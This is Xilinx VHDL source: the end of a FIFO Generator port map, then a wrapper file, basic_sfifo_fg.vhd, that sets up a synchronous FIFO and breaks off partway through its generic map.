S_AXI_WUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_WUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WVALID => '0', -- : IN std_logic := '0';
S_AXI_WREADY => open, -- : OUT std_logic;
S_AXI_BID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_BRESP => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
S_AXI_BUSER => open, -- : OUT std_logic_vector(C_AXI_BUSER_WIDTH-1 DOWNTO 0);
S_AXI_BVALID => open, -- : OUT std_logic;
S_AXI_BREADY => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Master Write Channel (Read side)
M_AXI_AWID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_AWADDR => open, -- : OUT std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0);
M_AXI_AWLEN => open, -- : OUT std_logic_vector(8-1 DOWNTO 0);
M_AXI_AWSIZE => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_AWBURST => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_AWLOCK => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_AWCACHE => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWPROT => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_AWQOS => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWREGION => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_AWUSER => open, -- : OUT std_logic_vector(C_AXI_AWUSER_WIDTH-1 DOWNTO 0);
M_AXI_AWVALID => open, -- : OUT std_logic;
M_AXI_AWREADY => '0', -- : IN std_logic := '0';
M_AXI_WID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_WDATA => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0);
M_AXI_WSTRB => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH/8-1 DOWNTO 0);
M_AXI_WLAST => open, -- : OUT std_logic;
M_AXI_WUSER => open, -- : OUT std_logic_vector(C_AXI_WUSER_WIDTH-1 DOWNTO 0);
M_AXI_WVALID => open, -- : OUT std_logic;
M_AXI_WREADY => '0', -- : IN std_logic := '0';
M_AXI_BID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BRESP => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_BUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_BVALID => '0', -- : IN std_logic := '0';
M_AXI_BREADY => open, -- : OUT std_logic;
-- AXI Full/Lite Slave Read Channel (Write side)
S_AXI_ARID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARADDR => (others => '0'), -- : IN std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARLEN => (others => '0'), -- : IN std_logic_vector(8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARSIZE => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARBURST => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARLOCK => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARCACHE => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARPROT => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARQOS => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARREGION => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_ARUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_ARVALID => '0', -- : IN std_logic := '0';
S_AXI_ARREADY => open, -- : OUT std_logic;
S_AXI_RID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
S_AXI_RDATA => open, -- : OUT std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0);
S_AXI_RRESP => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
S_AXI_RLAST => open, -- : OUT std_logic;
S_AXI_RUSER => open, -- : OUT std_logic_vector(C_AXI_RUSER_WIDTH-1 DOWNTO 0);
S_AXI_RVALID => open, -- : OUT std_logic;
S_AXI_RREADY => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Master Read Channel (Read side)
M_AXI_ARID => open, -- : OUT std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0);
M_AXI_ARADDR => open, -- : OUT std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0);
M_AXI_ARLEN => open, -- : OUT std_logic_vector(8-1 DOWNTO 0);
M_AXI_ARSIZE => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_ARBURST => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_ARLOCK => open, -- : OUT std_logic_vector(2-1 DOWNTO 0);
M_AXI_ARCACHE => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARPROT => open, -- : OUT std_logic_vector(3-1 DOWNTO 0);
M_AXI_ARQOS => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARREGION => open, -- : OUT std_logic_vector(4-1 DOWNTO 0);
M_AXI_ARUSER => open, -- : OUT std_logic_vector(C_AXI_ARUSER_WIDTH-1 DOWNTO 0);
M_AXI_ARVALID => open, -- : OUT std_logic;
M_AXI_ARREADY => '0', -- : IN std_logic := '0';
M_AXI_RID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RDATA => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RRESP => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RLAST => '0', -- : IN std_logic := '0';
M_AXI_RUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_RUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
M_AXI_RVALID => '0', -- : IN std_logic := '0';
M_AXI_RREADY => open, -- : OUT std_logic;
-- AXI Streaming Slave Signals (Write side)
S_AXIS_TVALID => '0', -- : IN std_logic := '0';
S_AXIS_TREADY => open, -- : OUT std_logic;
S_AXIS_TDATA => (others => '0'), -- : IN std_logic_vector(C_AXIS_TDATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TSTRB => (others => '0'), -- : IN std_logic_vector(C_AXIS_TSTRB_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TKEEP => (others => '0'), -- : IN std_logic_vector(C_AXIS_TKEEP_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TLAST => '0', -- : IN std_logic := '0';
S_AXIS_TID => (others => '0'), -- : IN std_logic_vector(C_AXIS_TID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TDEST => (others => '0'), -- : IN std_logic_vector(C_AXIS_TDEST_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXIS_TUSER => (others => '0'), -- : IN std_logic_vector(C_AXIS_TUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
-- AXI Streaming Master Signals (Read side)
M_AXIS_TVALID => open, -- : OUT std_logic;
M_AXIS_TREADY => '0', -- : IN std_logic := '0';
M_AXIS_TDATA => open, -- : OUT std_logic_vector(C_AXIS_TDATA_WIDTH-1 DOWNTO 0);
M_AXIS_TSTRB => open, -- : OUT std_logic_vector(C_AXIS_TSTRB_WIDTH-1 DOWNTO 0);
M_AXIS_TKEEP => open, -- : OUT std_logic_vector(C_AXIS_TKEEP_WIDTH-1 DOWNTO 0);
M_AXIS_TLAST => open, -- : OUT std_logic;
M_AXIS_TID => open, -- : OUT std_logic_vector(C_AXIS_TID_WIDTH-1 DOWNTO 0);
M_AXIS_TDEST => open, -- : OUT std_logic_vector(C_AXIS_TDEST_WIDTH-1 DOWNTO 0);
M_AXIS_TUSER => open, -- : OUT std_logic_vector(C_AXIS_TUSER_WIDTH-1 DOWNTO 0);
-- AXI Full/Lite Write Address Channel Signals
AXI_AW_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_AW_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_AW_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AW_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AW_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WACH DOWNTO 0);
AXI_AW_SBITERR => open, -- : OUT std_logic;
AXI_AW_DBITERR => open, -- : OUT std_logic;
AXI_AW_OVERFLOW => open, -- : OUT std_logic;
AXI_AW_UNDERFLOW => open, -- : OUT std_logic;
AXI_AW_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_AW_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Write Data Channel Signals
AXI_W_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_W_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_W_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_W_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_W_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WDCH DOWNTO 0);
AXI_W_SBITERR => open, -- : OUT std_logic;
AXI_W_DBITERR => open, -- : OUT std_logic;
AXI_W_OVERFLOW => open, -- : OUT std_logic;
AXI_W_UNDERFLOW => open, -- : OUT std_logic;
AXI_W_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_W_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Write Response Channel Signals
AXI_B_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_B_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_B_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WRCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_B_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_WRCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_B_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_WRCH DOWNTO 0);
AXI_B_SBITERR => open, -- : OUT std_logic;
AXI_B_DBITERR => open, -- : OUT std_logic;
AXI_B_OVERFLOW => open, -- : OUT std_logic;
AXI_B_UNDERFLOW => open, -- : OUT std_logic;
AXI_B_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_B_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Read Address Channel Signals
AXI_AR_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_AR_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_AR_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AR_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RACH-1 DOWNTO 0) := (OTHERS => '0');
AXI_AR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RACH DOWNTO 0);
AXI_AR_SBITERR => open, -- : OUT std_logic;
AXI_AR_DBITERR => open, -- : OUT std_logic;
AXI_AR_OVERFLOW => open, -- : OUT std_logic;
AXI_AR_UNDERFLOW => open, -- : OUT std_logic;
AXI_AR_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_AR_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Full/Lite Read Data Channel Signals
AXI_R_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXI_R_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXI_R_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_R_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_RDCH-1 DOWNTO 0) := (OTHERS => '0');
AXI_R_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_RDCH DOWNTO 0);
AXI_R_SBITERR => open, -- : OUT std_logic;
AXI_R_DBITERR => open, -- : OUT std_logic;
AXI_R_OVERFLOW => open, -- : OUT std_logic;
AXI_R_UNDERFLOW => open, -- : OUT std_logic;
AXI_R_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXI_R_PROG_EMPTY => open, -- : OUT STD_LOGIC := '1';
-- AXI Streaming FIFO Related Signals
AXIS_INJECTSBITERR => '0', -- : IN std_logic := '0';
AXIS_INJECTDBITERR => '0', -- : IN std_logic := '0';
AXIS_PROG_FULL_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_AXIS-1 DOWNTO 0) := (OTHERS => '0');
AXIS_PROG_EMPTY_THRESH => (others => '0'), -- : IN std_logic_vector(C_WR_PNTR_WIDTH_AXIS-1 DOWNTO 0) := (OTHERS => '0');
AXIS_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_WR_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_RD_DATA_COUNT => open, -- : OUT std_logic_vector(C_WR_PNTR_WIDTH_AXIS DOWNTO 0);
AXIS_SBITERR => open, -- : OUT std_logic;
AXIS_DBITERR => open, -- : OUT std_logic;
AXIS_OVERFLOW => open, -- : OUT std_logic;
AXIS_UNDERFLOW => open, -- : OUT std_logic
AXIS_PROG_FULL => open, -- : OUT STD_LOGIC := '0';
AXIS_PROG_EMPTY => open -- : OUT STD_LOGIC := '1';
);
end implementation;
|
-------------------------------------------------------------------------------
-- basic_sfifo_fg.vhd
-------------------------------------------------------------------------------
--
-- *************************************************************************
--
-- (c) Copyright 2010-2011 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- *************************************************************************
--
-------------------------------------------------------------------------------
-- Filename: basic_sfifo_fg.vhd
--
-- Description:
-- This HDL file implements a basic synchronous (single clock) fifo using the
-- FIFO Generator tool. It is intended to offer a simple interface to the user
-- with the complexity of the FIFO Generator interface hidden from the user.
--
-- Note that in normal op mode (not First Word Fall Through FWFT) the data count
-- output goes to zero when the FIFO goes full. This the way FIFO Generator works.
--
--
-- VHDL-Standard: VHDL'93
-------------------------------------------------------------------------------
-- Structure:
-- basic_sfifo_fg.vhd
-- |
-- |-- fifo_generator_v8_2
--
-------------------------------------------------------------------------------
-- Revision History:
--
--
-- Author: DET
-- Revision: $Revision: 1.0 $
-- Date: $3/07/2011$
--
-- History:
-- DET 3/07/2011 Initial Version
--
-------------------------------------------------------------------------------
library IEEE;
use IEEE.std_logic_1164.all;
use IEEE.numeric_std.all;
library proc_common_v4_0;
use proc_common_v4_0.proc_common_pkg.all;
use proc_common_v4_0.proc_common_pkg.log2;
use proc_common_v4_0.coregen_comp_defs.all;
-- synopsys translate_off
--library XilinxCoreLib;
--use XilinxCoreLib.all;
-- synopsys translate_on
-------------------------------------------------------------------------------
entity basic_sfifo_fg is
generic (
C_DWIDTH : Integer := 32 ;
-- FIFO data Width (Read and write data ports are symetric)
C_DEPTH : Integer := 512 ;
-- FIFO Depth (set to power of 2)
C_HAS_DATA_COUNT : integer := 1 ;
-- 0 = Data Count output not needed
-- 1 = Data Count output needed
C_DATA_COUNT_WIDTH : integer := 10 ;
-- Data Count bit width (Max value is log2(C_DEPTH))
C_IMPLEMENTATION_TYPE : integer range 0 to 1 := 0;
-- 0 = Common Clock BRAM / Distributed RAM (Synchronous FIFO)
-- 1 = Common Clock Shift Register (Synchronous FIFO)
C_MEMORY_TYPE : integer := 1;
-- 0 = Any
-- 1 = BRAM
-- 2 = Distributed Memory
-- 3 = Shift Registers
C_PRELOAD_REGS : integer := 1;
-- 0 = normal
-- 1 = FWFT
C_PRELOAD_LATENCY : integer := 0;
-- 0 = FWFT
-- 1 = normal
C_USE_FWFT_DATA_COUNT : integer := 0;
-- 0 = normal
-- 1 for FWFT
C_SYNCHRONIZER_STAGE : integer := 2; -- valid values are 0 to 8;
C_FAMILY : string := "virtex6"
);
port (
CLK : IN std_logic := '0';
DIN : IN std_logic_vector(C_DWIDTH-1 DOWNTO 0) := (OTHERS => '0');
RD_EN : IN std_logic := '0';
SRST : IN std_logic := '0';
WR_EN : IN std_logic := '0';
DATA_COUNT : OUT std_logic_vector(C_DATA_COUNT_WIDTH-1 DOWNTO 0);
DOUT : OUT std_logic_vector(C_DWIDTH-1 DOWNTO 0);
EMPTY : OUT std_logic;
FULL : OUT std_logic
);
end entity basic_sfifo_fg;
architecture implementation of basic_sfifo_fg is
-- Constant Declarations ----------------------------------------------
Constant POINTER_WIDTH : integer := log2(C_DEPTH);
-- Constant zeros for programmable threshold inputs
Constant PROG_RDTHRESH_ZEROS : std_logic_vector(POINTER_WIDTH-1
DOWNTO 0) := (OTHERS => '0');
Constant PROG_WRTHRESH_ZEROS : std_logic_vector(POINTER_WIDTH-1
DOWNTO 0) := (OTHERS => '0');
-- Signals
begin --(architecture implementation)
-------------------------------------------------------------------------------
-- Instantiate the generalized FIFO Generator instance
--
-- NOTE:
-- DO NOT CHANGE TO DIRECT ENTITY INSTANTIATION!!!
-- This is a Coregen FIFO Generator Call module for
-- BRAM implementations of a basic Sync FIFO
--
-------------------------------------------------------------------------------
I_BASIC_SFIFO : fifo_generator_v11_0
generic map(
C_COMMON_CLOCK => 1,
C_COUNT_TYPE => 0,
C_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_DEFAULT_VALUE => "BlankString",
C_DIN_WIDTH => C_DWIDTH,
C_DOUT_RST_VAL => "0",
C_DOUT_WIDTH => C_DWIDTH,
C_ENABLE_RLOCS => 0, -- n0
C_FAMILY => C_FAMILY,
C_HAS_ALMOST_EMPTY => 0, -- n0
C_HAS_ALMOST_FULL => 0, -- n0
C_HAS_BACKUP => 0, -- n0
C_HAS_DATA_COUNT => C_HAS_DATA_COUNT,
C_HAS_MEMINIT_FILE => 0, -- n0
C_HAS_OVERFLOW => 0, -- n0
C_HAS_RD_DATA_COUNT => 0, -- n0
C_HAS_RD_RST => 0, -- n0
C_HAS_RST => 0, -- n0
C_HAS_SRST => 1, -- yes
C_HAS_UNDERFLOW => 0, -- n0
C_HAS_VALID => 0, -- n0
C_HAS_WR_ACK => 0, -- n0
C_HAS_WR_DATA_COUNT => 0, -- n0
C_HAS_WR_RST => 0, -- n0
C_IMPLEMENTATION_TYPE => 0, -- Common clock BRAM
C_INIT_WR_PNTR_VAL => 0,
C_MEMORY_TYPE => C_MEMORY_TYPE,
C_MIF_FILE_NAME => "BlankString",
C_OPTIMIZATION_MODE => 0,
C_OVERFLOW_LOW => 0,
C_PRELOAD_LATENCY => C_PRELOAD_LATENCY,
C_PRELOAD_REGS => C_PRELOAD_REGS,
C_PRIM_FIFO_TYPE => "512x36",
C_PROG_EMPTY_THRESH_ASSERT_VAL => 0,
C_PROG_EMPTY_THRESH_NEGATE_VAL => 0,
C_PROG_EMPTY_TYPE => 0,
C_PROG_FULL_THRESH_ASSERT_VAL => 0,
C_PROG_FULL_THRESH_NEGATE_VAL => 0,
C_PROG_FULL_TYPE => 0,
C_RD_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_RD_DEPTH => C_DEPTH,
C_RD_FREQ => 1,
C_RD_PNTR_WIDTH => POINTER_WIDTH,
C_UNDERFLOW_LOW => 0,
C_USE_DOUT_RST => 1,
C_USE_EMBEDDED_REG => 0,
C_USE_FIFO16_FLAGS => 0,
C_USE_FWFT_DATA_COUNT => C_USE_FWFT_DATA_COUNT,
C_VALID_LOW => 0,
C_WR_ACK_LOW => 0,
C_WR_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_WR_DEPTH => C_DEPTH,
C_WR_FREQ => 1,
C_WR_PNTR_WIDTH => POINTER_WIDTH,
C_WR_RESPONSE_LATENCY => 1,
C_USE_ECC => 0,
C_FULL_FLAGS_RST_VAL => 0,
C_ENABLE_RST_SYNC => 1,
C_ERROR_INJECTION_TYPE => 0,
C_SYNCHRONIZER_STAGE => C_SYNCHRONIZER_STAGE,
C_HAS_INT_CLK => 0,
C_MSGON_VAL => 1,
-- AXI Interface related parameters start here
C_INTERFACE_TYPE => 0, -- : integer := 0; -- 0: Native Interface; 1: AXI Interface
C_AXI_TYPE => 0, -- : integer := 0; -- 0: AXI Stream; 1: AXI Full; 2: AXI Lite
C_HAS_AXI_WR_CHANNEL => 0, -- : integer := 0;
C_HAS_AXI_RD_CHANNEL => 0, -- : integer := 0;
C_HAS_SLAVE_CE => 0, -- : integer := 0;
C_HAS_MASTER_CE => 0, -- : integer := 0;
C_ADD_NGC_CONSTRAINT => 0, -- : integer := 0;
C_USE_COMMON_OVERFLOW => 0, -- : integer := 0;
C_USE_COMMON_UNDERFLOW => 0, -- : integer := 0;
C_USE_DEFAULT_SETTINGS => 0, -- : integer := 0;
-- AXI Full/Lite
C_AXI_ID_WIDTH => 4 , -- : integer := 0;
C_AXI_ADDR_WIDTH => 32, -- : integer := 0;
C_AXI_DATA_WIDTH => 64, -- : integer := 0;
C_AXI_LEN_WIDTH => 8, -- : integer := 8;
C_AXI_LOCK_WIDTH => 2, -- : integer := 2;
C_HAS_AXI_ID => 0, -- : integer := 0;
C_HAS_AXI_AWUSER => 0 , -- : integer := 0;
C_HAS_AXI_WUSER => 0 , -- : integer := 0;
C_HAS_AXI_BUSER => 0 , -- : integer := 0;
C_HAS_AXI_ARUSER => 0 , -- : integer := 0;
C_HAS_AXI_RUSER => 0 , -- : integer := 0;
C_AXI_ARUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_AWUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_WUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_BUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_RUSER_WIDTH => 1 , -- : integer := 0;
-- AXI Streaming
C_HAS_AXIS_TDATA => 0 , -- : integer := 0;
C_HAS_AXIS_TID => 0 , -- : integer := 0;
C_HAS_AXIS_TDEST => 0 , -- : integer := 0;
C_HAS_AXIS_TUSER => 0 , -- : integer := 0;
C_HAS_AXIS_TREADY => 1 , -- : integer := 0;
C_HAS_AXIS_TLAST => 0 , -- : integer := 0;
C_HAS_AXIS_TSTRB => 0 , -- : integer := 0;
C_HAS_AXIS_TKEEP => 0 , -- : integer := 0;
C_AXIS_TDATA_WIDTH => 64, -- : integer := 1;
C_AXIS_TID_WIDTH => 8 , -- : integer := 1;
C_AXIS_TDEST_WIDTH => 4 , -- : integer := 1;
C_AXIS_TUSER_WIDTH => 4 , -- : integer := 1;
C_AXIS_TSTRB_WIDTH => 4 , -- : integer := 1;
C_AXIS_TKEEP_WIDTH => 4 , -- : integer := 1;
-- AXI Channel Type
-- WACH --> Write Address Channel
-- WDCH --> Write Data Channel
-- WRCH --> Write Response Channel
-- RACH --> Read Address Channel
-- RDCH --> Read Data Channel
-- AXIS --> AXI Streaming
C_WACH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logic
C_WDCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_WRCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_RACH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_RDCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_AXIS_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
-- AXI Implementation Type
-- 1 = Common Clock Block RAM FIFO
-- 2 = Common Clock Distributed RAM FIFO
-- 11 = Independent Clock Block RAM FIFO
-- 12 = Independent Clock Distributed RAM FIFO
C_IMPLEMENTATION_TYPE_WACH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_WDCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_WRCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_RACH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_RDCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_AXIS => 1, -- : integer := 0;
-- AXI FIFO Type
-- 0 = Data FIFO
-- 1 = Packet FIFO
-- 2 = Low Latency Data FIFO
C_APPLICATION_TYPE_WACH => 0, -- : integer := 0;
C_APPLICATION_TYPE_WDCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_WRCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_RACH => 0, -- : integer := 0;
C_APPLICATION_TYPE_RDCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_AXIS => 0, -- : integer := 0;
-- Enable ECC
-- 0 = ECC disabled
-- 1 = ECC enabled
C_USE_ECC_WACH => 0, -- : integer := 0;
C_USE_ECC_WDCH => 0, -- : integer := 0;
C_USE_ECC_WRCH => 0, -- : integer := 0;
C_USE_ECC_RACH => 0, -- : integer := 0;
C_USE_ECC_RDCH => 0, -- : integer := 0;
C_USE_ECC_AXIS => 0, -- : integer := 0;
-- ECC Error Injection Type
-- 0 = No Error Injection
-- 1 = Single Bit Error Injection
-- 2 = Double Bit Error Injection
-- 3 = Single Bit and Double Bit Error Injection
C_ERROR_INJECTION_TYPE_WACH => 0, -- : integer := 0;
